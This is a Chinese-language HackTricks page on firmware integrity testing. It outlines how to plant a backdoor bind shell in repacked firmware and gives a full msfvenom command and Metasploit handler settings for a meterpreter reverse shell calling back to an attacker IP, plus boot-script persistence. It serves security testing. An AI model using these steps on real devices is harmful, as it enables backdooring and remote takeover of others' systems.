hacktricks/physical-attacks/firmware-analysis/firmware-integrity.md
2023-08-03 19:12:22 +00:00

5.8 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

此页面内容来自https://scriptingxss.gitbook.io/firmware-security-testing-methodology/

尝试上传自定义固件和/或编译的二进制文件以查找完整性或签名验证漏洞。例如使用以下步骤编译一个在启动时启动的后门绑定shell。

  1. 使用固件修改工具FMK提取固件
  2. 确定目标固件架构和字节序
  3. 使用Buildroot构建交叉编译器或使用适合您环境的其他方法
  4. 使用交叉编译器构建后门
  5. 将后门复制到提取的固件的/usr/bin目录下
  6. 将适当的QEMU二进制文件复制到提取的固件的根文件系统中
  7. 使用chroot和QEMU模拟后门
  8. 通过netcat连接到后门
  9. 从提取的固件的根文件系统中删除QEMU二进制文件
  10. 使用FMK重新打包修改后的固件
  11. 使用固件分析工具包FAT模拟带有后门IP和端口的目标固件并使用netcat连接以测试带有后门的固件

如果已经通过动态分析、引导加载程序操作或硬件安全测试手段获得了root shell可以尝试执行预编译的恶意二进制文件如植入物或反向shell。考虑使用用于命令和控制C&C框架的自动化负载/植入工具。例如可以使用以下步骤利用Metasploit框架和'msfvenom'

  1. 确定目标固件架构和字节序
  2. 使用msfvenom指定适当的目标负载(-p、攻击者主机IPLHOST=、监听端口号LPORT=)、文件类型(-f、架构--arch、平台--platform linux或windows和输出文件-o。例如msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
  3. 将负载传输到受损设备例如运行本地web服务器并使用wget/curl将负载下载到文件系统并确保负载具有执行权限
  4. 准备Metasploit处理传入请求。例如使用msfconsole启动Metasploit并根据上述负载使用以下设置use exploit/multi/handler
  • set payload linux/armle/meterpreter_reverse_tcp
  • set LHOST 192.168.1.245 #攻击者主机IP
  • set LPORT 445 #可以是任何未使用的端口
  • set ExitOnSession false
  • exploit -j -z
  1. 在受损设备上执行meterpreter反向🐚
  2. 观察meterpreter会话打开
  3. 执行后渗透活动

如果可能,尝试识别启动脚本中的漏洞,以便在设备重新启动时获得持久访问权限。这种漏洞出现在启动脚本引用、符号链接或依赖于位于不受信任的挂载位置如SD卡和用于存储根文件系统之外数据的闪存卷的代码时。

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥